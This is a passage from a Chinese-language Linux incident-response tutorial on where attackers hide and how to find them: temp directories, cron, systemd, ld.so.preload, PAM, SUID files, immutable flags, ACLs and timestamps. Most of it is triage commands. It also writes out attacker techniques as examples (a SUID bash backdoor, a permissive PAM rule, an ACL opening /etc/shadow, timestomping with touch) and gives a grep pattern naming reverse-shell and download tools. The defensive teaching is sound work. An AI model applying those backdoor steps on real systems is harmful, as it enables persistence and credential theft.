# a1b2c3d4e5f6... 可以到 VirusTotal 等平台查询

# 使用 strings 快速分析
strings /tmp/evidence/malware_main | grep -iE 'http|connect|shell|password|encrypt'

第六步:记录并处置

1
2
3
4
5
6
7
8
# 导出完整的进程信息用于取证
mkdir -p /tmp/evidence/proc_31337
cat /proc/31337/status > /tmp/evidence/proc_31337/status
cat /proc/31337/cmdline > /tmp/evidence/proc_31337/cmdline
cat /proc/31337/environ > /tmp/evidence/proc_31337/environ
cat /proc/31337/maps > /tmp/evidence/proc_31337/maps
ls -la /proc/31337/fd/ > /tmp/evidence/proc_31337/fd_list
ls -la /proc/31337/exe > /tmp/evidence/proc_31337/exe_link

5. 关键系统目录

5.1 临时目录:攻击者的最爱

攻击者偏爱以下三个目录存放恶意文件:

目录 特点 为什么攻击者喜欢
/tmp/ 所有用户可写,重启后清空 全局可写,重启消失痕迹少
/var/tmp/ 所有用户可写,重启后保留 全局可写,持久化更好
/dev/shm/ 内存文件系统,所有用户可写 存在内存中,磁盘取证看不到

IR 排查命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 1. 检查临时目录中的可疑文件
ls -la /tmp/ /var/tmp/ /dev/shm/

# 2. 查找隐藏文件和目录(以.开头的)
find /tmp /var/tmp /dev/shm -name ".*" -ls 2>/dev/null

# 3. 查找可执行文件
find /tmp /var/tmp /dev/shm -type f -executable -ls 2>/dev/null

# 4. 查找脚本文件
find /tmp /var/tmp /dev/shm -type f \( -name "*.sh" -o -name "*.py" -o -name "*.pl" -o -name "*.php" \) -ls 2>/dev/null

# 5. 查找最近修改的文件
find /tmp /var/tmp /dev/shm -type f -mtime -7 -ls 2>/dev/null

# 6. 特别注意 /dev/shm 中不应该有任何常规文件
ls -la /dev/shm/

5.2 计划任务目录

计划任务是攻击者最常用的持久化机制之一

1
2
3
4
5
6
7
8
9
10
11
# 系统级 crontab
/etc/crontab # 主 crontab 文件
/etc/cron.d/ # 额外的 crontab 文件目录
/etc/cron.hourly/ # 每小时执行的脚本
/etc/cron.daily/ # 每天执行的脚本
/etc/cron.weekly/ # 每周执行的脚本
/etc/cron.monthly/ # 每月执行的脚本

# 用户级 crontab(存储位置)
/var/spool/cron/crontabs/ # Debian/Ubuntu
/var/spool/cron/ # CentOS/RHEL

IR 排查命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 1. 查看系统 crontab
cat /etc/crontab

# 2. 列出 cron.d 下所有文件并检查内容
for f in /etc/cron.d/*; do echo "=== $f ==="; cat "$f"; done

# 3. 检查各周期目录
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

# 4. 列出所有用户的 crontab
for user in $(cut -d: -f1 /etc/passwd); do
crontab_content=$(crontab -l -u "$user" 2>/dev/null)
if [ -n "$crontab_content" ]; then
echo "=== $user 的 crontab ==="
echo "$crontab_content"
fi
done

# 5. 检查 anacron
cat /etc/anacrontab

# 6. 检查 systemd timer(现代系统的替代方案)
systemctl list-timers --all

5.3 服务配置目录

1
2
3
4
5
6
7
8
9
# SysVinit 服务(老系统)
/etc/init.d/ # 服务启动脚本
/etc/rc*.d/ # 各运行级别的启动链接

# Systemd 服务(现代系统)
/etc/systemd/system/ # 管理员创建的服务(最高优先级)
/usr/lib/systemd/system/ # 软件包安装的服务
/run/systemd/system/ # 运行时创建的服务
~/.config/systemd/user/ # 用户级服务

IR 排查命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 1. 列出所有自定义的 systemd 服务(攻击者可能创建了恶意服务)
ls -la /etc/systemd/system/*.service

# 2. 查看新增或修改的服务文件
find /etc/systemd/system/ -name "*.service" -mtime -30 -ls

# 3. 检查服务文件内容中的可疑命令
grep -rl 'ExecStart' /etc/systemd/system/ | while read f; do
echo "=== $f ==="
grep 'ExecStart' "$f"
done

# 4. 查看启用的服务
systemctl list-unit-files --state=enabled

# 5. 检查 init.d 中的异常脚本
ls -la /etc/init.d/

5.4 动态链接器配置

攻击者可以通过修改动态链接器配置来实现全局代码注入

/etc/ld.so.preload

这个文件中列出的共享库会被所有动态链接的程序加载

这是 LD_PRELOAD 的系统级版本,非常危险

1
2
3
4
5
6
7
8
9
10
11
12
# 正常情况下这个文件应该不存在或为空
cat /etc/ld.so.preload

# 攻击者可能在其中添加恶意共享库:
# /lib/x86_64-linux-gnu/.hidden/libprocesshider.so

# IR 排查
if [ -f /etc/ld.so.preload ]; then
echo "警告: /etc/ld.so.preload 文件存在!"
cat /etc/ld.so.preload
stat /etc/ld.so.preload
fi

/etc/ld.so.conf/etc/ld.so.conf.d/

定义了动态链接器搜索共享库的路径

1
2
3
4
5
6
7
# 查看库搜索路径配置
cat /etc/ld.so.conf
ls -la /etc/ld.so.conf.d/

# 攻击者可能添加了恶意目录到搜索路径中
# 使得恶意版本的系统库被优先加载
cat /etc/ld.so.conf.d/*.conf

5.5 PAM 认证模块

PAM(Pluggable Authentication Modules)控制 Linux 的认证流程

攻击者可以通过修改 PAM 配置或添加恶意 PAM 模块来绕过认证

1
2
3
4
5
6
7
8
9
10
# PAM 配置目录
ls -la /etc/pam.d/

# 重要的 PAM 配置文件
/etc/pam.d/sshd # SSH 认证
/etc/pam.d/login # 本地登录认证
/etc/pam.d/su # su 切换用户
/etc/pam.d/sudo # sudo 认证
/etc/pam.d/common-auth # 通用认证(Debian/Ubuntu)
/etc/pam.d/system-auth # 通用认证(CentOS/RHEL)

IR 排查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 1. 检查 PAM 配置是否被修改
for f in /etc/pam.d/sshd /etc/pam.d/login /etc/pam.d/common-auth; do
echo "=== $f ==="
stat "$f" 2>/dev/null
done

# 2. 查找可疑的 PAM 模块(非系统自带的)
# 正常的 PAM 模块位于 /lib/x86_64-linux-gnu/security/ 或 /lib64/security/
find /lib*/security/ /lib/x86_64-linux-gnu/security/ -name "*.so" -newer /etc/passwd -ls 2>/dev/null

# 3. 检查是否有 pam_exec.so 被滥用(可以执行任意命令)
grep 'pam_exec' /etc/pam.d/*

# 4. 攻击者可能添加的恶意 PAM 规则示例:
# auth sufficient pam_permit.so <-- 允许所有人无密码认证!
# auth optional pam_exec.so /tmp/log.sh <-- 记录密码到文件

5.6 全局 Shell 配置

1
2
3
4
5
6
7
8
9
10
11
12
# 全局配置(影响所有用户)
/etc/profile # 登录 shell 加载
/etc/profile.d/*.sh # 登录 shell 加载的脚本目录
/etc/bash.bashrc # 非登录 shell 加载(Debian/Ubuntu)
/etc/bashrc # 非登录 shell 加载(CentOS/RHEL)
/etc/environment # 环境变量

# 用户级配置
~/.bashrc
~/.bash_profile
~/.profile
~/.bash_logout # 退出时执行(可能被用于清除痕迹)

IR 排查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 1. 检查全局 profile.d 中的可疑脚本
ls -la /etc/profile.d/
for f in /etc/profile.d/*.sh; do echo "=== $f ==="; cat "$f"; done

# 2. 检查用户的 shell 配置文件是否被篡改
for user_home in /home/* /root; do
for rc in .bashrc .bash_profile .profile .bash_logout; do
f="$user_home/$rc"
if [ -f "$f" ]; then
# 查找可疑的命令:反弹 shell、下载执行等
suspicious=$(grep -iE 'curl|wget|nc |ncat|python.*-c|bash.*-i|/dev/tcp|base64' "$f")
if [ -n "$suspicious" ]; then
echo "可疑! $f:"
echo "$suspicious"
fi
fi
done
done

6. 文件权限深入

6.1 标准权限 rwx 复习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 权限格式:-rwxrwxrwx
# 位置含义:[类型][属主][属组][其他]
#
# 类型标识:- 普通文件 d 目录 l 链接 c 字符设备 b 块设备
#
# 权限值:
# r = 4 (读)
# w = 2 (写)
# x = 1 (执行)

# 示例
ls -la /etc/passwd
# -rw-r--r-- 1 root root 2456 Apr 1 10:00 /etc/passwd
# 解读:属主(root)可读写,属组可读,其他人可读

ls -la /etc/shadow
# -rw-r----- 1 root shadow 1580 Apr 1 10:00 /etc/shadow
# 解读:属主(root)可读写,shadow组可读,其他人无权限

6.2 SUID / SGID / Sticky Bit 详解

SUID (Set User ID) - 权限位 4000

设置了 SUID 的可执行文件在执行时,会以文件属主的身份运行(而非执行者)

1
2
3
4
5
6
7
# 典型的 SUID 程序
ls -la /usr/bin/passwd
# -rwsr-xr-x 1 root root 68208 /usr/bin/passwd
# ^-- 注意这个 's',表示 SUID 位被设置

# passwd 需要 SUID 是因为普通用户需要修改 /etc/shadow(只有 root 可写)
# 执行 passwd 时,进程以 root 身份运行,所以能修改 shadow

为什么 SUID 对 IR 极其重要

攻击者可以给 /bin/bash 或其他程序设置 SUID 位来创建提权后门

某些 SUID 程序存在已知漏洞可被利用提权

比如:攻击者复制 bash 并设置 SUID:cp /bin/bash /tmp/.suid_bash; chmod u+s /tmp/.suid_bash

IR 排查:查找所有 SUID 文件

1
2
3
4
5
6
7
8
9
10
11
# 查找所有 SUID 文件
find / -perm -4000 -type f -ls 2>/dev/null

# 查找非标准路径下的 SUID 文件(高度可疑)
find / -perm -4000 -type f 2>/dev/null | grep -vE '^/(usr/(bin|sbin|lib)|bin|sbin)/'

# 与已知的 SUID 文件列表对比(建立基线很重要)
# 常见的合法 SUID 文件:
# /usr/bin/passwd, /usr/bin/sudo, /usr/bin/su,
# /usr/bin/newgrp, /usr/bin/chsh, /usr/bin/chfn,
# /usr/bin/mount, /usr/bin/umount, /usr/bin/ping

SGID (Set Group ID) - 权限位 2000

类似 SUID,但以文件属组的身份运行

对于目录:在该目录下创建的文件会继承目录的组

1
2
# 查找所有 SGID 文件
find / -perm -2000 -type f -ls 2>/dev/null

Sticky Bit - 权限位 1000

通常用于 /tmp 等公共目录,防止用户删除他人的文件

1
2
3
4
5
ls -ld /tmp
# drwxrwxrwt 15 root root 4096 Apr 2 10:00 /tmp
# ^-- 注意这个 't',表示 Sticky Bit

# 如果 /tmp 没有 Sticky Bit,任何用户都能删除他人的文件

6.3 扩展属性:lsattr / chattr

Linux 文件系统支持扩展属性,最常见的是 immutable(不可修改)标志

1
2
3
4
5
6
7
8
9
# 查看文件的扩展属性
lsattr /etc/passwd
# ----i--------e-- /etc/passwd <-- 'i' 表示 immutable

# 设置 immutable 属性(即使 root 也不能修改或删除)
chattr +i /etc/passwd

# 移除 immutable 属性
chattr -i /etc/passwd

IR 场景

防御方:可以对关键配置文件设置 immutable 防止篡改

攻击方:可能对植入的恶意文件设置 immutable 防止被清除

1
2
3
4
5
6
7
8
9
10
11
12
13
# IR 排查:检查异常的 immutable 文件
# 1. 检查关键配置文件(正常不应该有 immutable)
lsattr /etc/passwd /etc/shadow /etc/sudoers /etc/crontab

# 2. 检查临时目录中的文件(不应该有 immutable)
lsattr /tmp/* /var/tmp/* /dev/shm/* 2>/dev/null | grep 'i'

# 3. 检查 cron 目录
lsattr /etc/cron.d/* 2>/dev/null

# 如果发现恶意文件有 immutable 标志,先移除再删除:
# chattr -i /tmp/malware
# rm /tmp/malware

6.4 ACL:getfacl / setfacl

ACL(Access Control Lists)提供比标准 rwx 更细粒度的权限控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 查看文件的 ACL
getfacl /etc/shadow
# # file: etc/shadow
# # owner: root
# # group: shadow
# user::rw-
# group::r--
# other::---

# 设置 ACL(给特定用户额外权限)
setfacl -m u:hacker:rwx /etc/shadow # 危险!给 hacker 用户读写权限

# 当文件有 ACL 时,ls -l 会显示一个 '+' 号
ls -la /etc/shadow
# -rw-r-----+ 1 root shadow 1580 /etc/shadow
# ^-- 注意这个 '+'

# IR 排查:检查关键文件是否被添加了额外的 ACL
getfacl /etc/shadow /etc/passwd /etc/sudoers 2>/dev/null

# 查找所有带 ACL 的文件
getfacl -R /etc/ 2>/dev/null | grep -B5 'user:.*:rw'

7. 文件时间戳

7.1 三种时间戳的区别

Linux 文件系统为每个文件维护三个时间戳:

时间戳 名称 含义 触发修改的操作
atime Access Time 最后访问时间 cat, less, read()
mtime Modify Time 内容最后修改时间 echo "x" >> file, write()
ctime Change Time 元数据最后变化时间 chmod, chown, 内容修改也会更新

#+BEGIN_TIP
ctime 不是创建时间(Create Time)!Linux 传统文件系统不记录创建时间。但 ext4 支持 crtime(Birth Time),可以用 stat 查看。
#+END_TIP

7.2 stat 命令详解

1
2
3
4
5
6
7
8
9
10
stat /etc/passwd
# 输出示例:
# File: /etc/passwd
# Size: 2456 Blocks: 8 IO Block: 4096 regular file
# Device: 801h/2049d Inode: 524289 Links: 1
# Access: (0644/-rw-r--r--) Uid: (0/root) Gid: (0/root)
# Access: 2026-04-02 10:15:23.123456789 +0800 <-- atime
# Modify: 2026-04-01 08:30:00.987654321 +0800 <-- mtime
# Change: 2026-04-01 08:30:00.987654321 +0800 <-- ctime
# Birth: 2025-01-15 12:00:00.000000000 +0800 <-- crtime(ext4)

使用 stat 进行 IR 排查

1
2
3
4
5
6
7
8
9
10
11
# 1. 按 mtime 查找最近7天内被修改的文件
find /etc -type f -mtime -7 -ls

# 2. 按 ctime 查找(更可靠,因为 ctime 不容易被篡改)
find /etc -type f -ctime -7 -ls

# 3. 查找特定时间范围内修改的文件
find / -type f -newermt "2026-04-01 00:00:00" -not -newermt "2026-04-02 00:00:00" -ls 2>/dev/null

# 4. 重点检查系统目录的文件时间戳
stat /etc/passwd /etc/shadow /etc/sudoers /etc/crontab /etc/ssh/sshd_config

7.3 时间戳篡改(Timestomping)

攻击者可以修改文件的 atime 和 mtime 来掩盖痕迹

1
2
3
4
5
6
7
8
9
10
# touch 命令可以修改 atime 和 mtime
touch -t 202301010000.00 /tmp/malware # 将时间改为 2023-01-01
touch -r /etc/hostname /tmp/malware # 复制另一个文件的时间戳

# 但是!ctime 无法被普通用户篡改
# 即使用 touch 修改了 mtime,ctime 仍然会更新为当前时间

# 因此在 IR 中,如果发现:
# mtime 很早(如 2023 年)但 ctime 很近(如昨天)
# 这就是时间戳篡改的明显特征!

检测时间戳篡改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查找 mtime 远早于 ctime 的文件(可能是 timestomping)
find /tmp /var/tmp /home -type f -exec stat --format='%n mtime=%y ctime=%z' {} \; 2>/dev/null | \
awk '{print}' | sort

# 更精确的方法:用 Python 检测 mtime 和 ctime 差距超过阈值的文件
python3 -c "
import os, stat as st
for root, dirs, files in os.walk('/tmp'):
for f in files:
path = os.path.join(root, f)
try:
s = os.stat(path)
diff = abs(s.st_mtime - s.st_ctime)
if diff > 86400: # 差距超过1天
print(f'可疑: {path} mtime与ctime相差{diff/86400:.1f}天')
except: pass
"

7.4 noatime 挂载选项的影响

许多服务器为了性能会使用 noatimerelatime 挂载选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 查看当前挂载选项
mount | grep -E 'noatime|relatime'
# /dev/sda1 on / type ext4 (rw,relatime)

# 也可以查看 /etc/fstab
cat /etc/fstab

# noatime:完全不更新 atime(IR 中 atime 数据不可靠)
# relatime(默认):只在 atime < mtime 或 atime < ctime 时更新 atime
# 即:atime 不会实时更新,但会在合理条件下更新

# IR 影响:
# 1. 如果使用 noatime,文件的 atime 可能是很久以前的值,不代表未被访问
# 2. relatime 下 atime 有一定参考价值,但不如 mtime 和 ctime 可靠
# 3. 始终优先使用 ctime 进行排查

8. 实战练习

练习场景:被入侵系统排查

你接到告警,一台 Linux Web 服务器疑似被入侵。按照本页知识点逐一排查以下关键目录和文件。

第一阶段:用户和认证排查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
echo "========== 1. 用户排查 =========="
echo "[*] UID 为 0 的账户:"
awk -F: '$3 == 0 {print}' /etc/passwd

echo "[*] 可登录 shell 的账户:"
awk -F: '$7 ~ /bash|sh$/ {print $1, $3, $7}' /etc/passwd

echo "[*] 空密码账户:"
sudo awk -F: '$2 == "" {print $1}' /etc/shadow

echo "[*] 最近修改密码的账户:"
sudo awk -F: '{if($3 > 19600) print $1, $3}' /etc/shadow

echo "[*] NOPASSWD 配置:"
sudo grep -r 'NOPASSWD' /etc/sudoers /etc/sudoers.d/ 2>/dev/null

第二阶段:SSH 排查

1
2
3
4
5
6
7
8
9
echo "========== 2. SSH 排查 =========="
echo "[*] SSH 配置关键项:"
sudo sshd -T 2>/dev/null | grep -iE 'permitrootlogin|passwordauthentication'

echo "[*] 所有 authorized_keys:"
find /home /root -name authorized_keys -exec echo "--- {} ---" \; -exec cat {} \; 2>/dev/null

echo "[*] authorized_keys 中的 command= 选项:"
grep -r 'command=' /home/*/.ssh/ /root/.ssh/ 2>/dev/null

第三阶段:日志快速检查

1
2
3
4
5
6
7
8
9
10
echo "========== 3. 日志排查 =========="
echo "[*] 最近的成功 SSH 登录:"
grep 'Accepted' /var/log/auth.log 2>/dev/null | tail -10
grep 'Accepted' /var/log/secure 2>/dev/null | tail -10

echo "[*] 暴力破解统计(前10个IP):"
grep 'Failed password' /var/log/auth.log 2>/dev/null | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -10

echo "[*] 新创建的用户:"
grep -E 'useradd|adduser' /var/log/auth.log 2>/dev/null

第四阶段:进程和 /proc 排查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
echo "========== 4. 进程排查 =========="
echo "[*] 可疑进程(工作目录在 /tmp 等):"
for pid in /proc/[0-9]*/; do
cwd=$(readlink "${pid}cwd" 2>/dev/null)
exe=$(readlink "${pid}exe" 2>/dev/null)
if echo "$cwd" | grep -qE '^/(tmp|dev/shm|var/tmp)'; then
echo "PID=$(basename $pid) EXE=$exe CWD=$cwd"
fi
done

echo "[*] 已删除但仍在运行的程序:"
ls -la /proc/*/exe 2>/dev/null | grep '(deleted)'

echo "[*] LD_PRELOAD 检查:"
for pid in /proc/[0-9]*/; do
result=$(cat "${pid}environ" 2>/dev/null | tr '\0' '\n' | grep LD_PRELOAD)
[ -n "$result" ] && echo "PID=$(basename $pid): $result"
done

第五阶段:关键目录排查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
echo "========== 5. 关键目录排查 =========="
echo "[*] 临时目录可疑文件:"
find /tmp /var/tmp /dev/shm -type f -executable -ls 2>/dev/null
find /tmp /var/tmp /dev/shm -name ".*" -ls 2>/dev/null

echo "[*] 计划任务排查:"
cat /etc/crontab
ls -la /etc/cron.d/
for user in $(cut -d: -f1 /etc/passwd); do
ct=$(crontab -l -u "$user" 2>/dev/null)
[ -n "$ct" ] && echo "--- $user ---" && echo "$ct"
done

echo "[*] 可疑 systemd 服务:"
find /etc/systemd/system/ -name "*.service" -mtime -30 -ls 2>/dev/null

echo "[*] ld.so.preload 检查:"
[ -f /etc/ld.so.preload ] && echo "警告! 存在 /etc/ld.so.preload:" && cat /etc/ld.so.preload || echo "正常,文件不存在"

第六阶段:文件权限和时间戳

1
2
3
4
5
6
7
8
9
10
11
12
echo "========== 6. 权限与时间戳 =========="
echo "[*] 异常 SUID 文件:"
find / -perm -4000 -type f 2>/dev/null | grep -vE '^/(usr/(bin|sbin|lib)|bin|sbin)/'

echo "[*] 关键文件 immutable 属性:"
lsattr /etc/passwd /etc/shadow /etc/crontab 2>/dev/null

echo "[*] /etc 下最近7天修改的文件:"
find /etc -type f -mtime -7 -ls 2>/dev/null | head -20

echo "[*] 关键文件时间戳:"
stat /etc/passwd /etc/shadow /etc/sudoers /etc/ssh/sshd_config 2>/dev/null

排查清单总结

序号 排查项 命令/方法 关注点
1 UID 0 账户 awk -F: '$3==0' /etc/passwd 除 root 外不应有其他
2 空密码账户 检查 /etc/shadow 第二字段 不应存在
3 NOPASSWD grep -r NOPASSWD /etc/sudoers* 越少越好
4 SSH 密钥 检查 authorized_keys 未知的密钥、command=
5 认证日志 auth.log/secure 暴力破解、异常登录
6 登录记录 last, lastb 异常来源 IP
7 可疑进程 /proc/[pid]/ 各文件 已删除的 exe、异常 cwd
8 隐藏进程 对比 ps 和 /proc 不一致说明有 rootkit
9 临时目录 /tmp, /var/tmp, /dev/shm 可执行文件、隐藏文件
10 计划任务 crontab, cron.d, systemd timer 新增或异常的任务
11 SUID 文件 find / -perm -4000 非标准路径的 SUID
12 ld.so.preload 检查文件是否存在 正常不应存在
13 PAM 配置 /etc/pam.d/ pam_exec, pam_permit
14 Shell 配置 .bashrc, profile.d 反弹 shell、下载命令
15 时间戳 stat, ctime mtime 与 ctime 不一致

导航

上一页:(本页为第一章)

下一页:Linux应急响应/02-进程与网络排查

目录:Linux应急响应


上一章 目录 下一章
00-学习路线 Linux应急响应 02-排查命令速查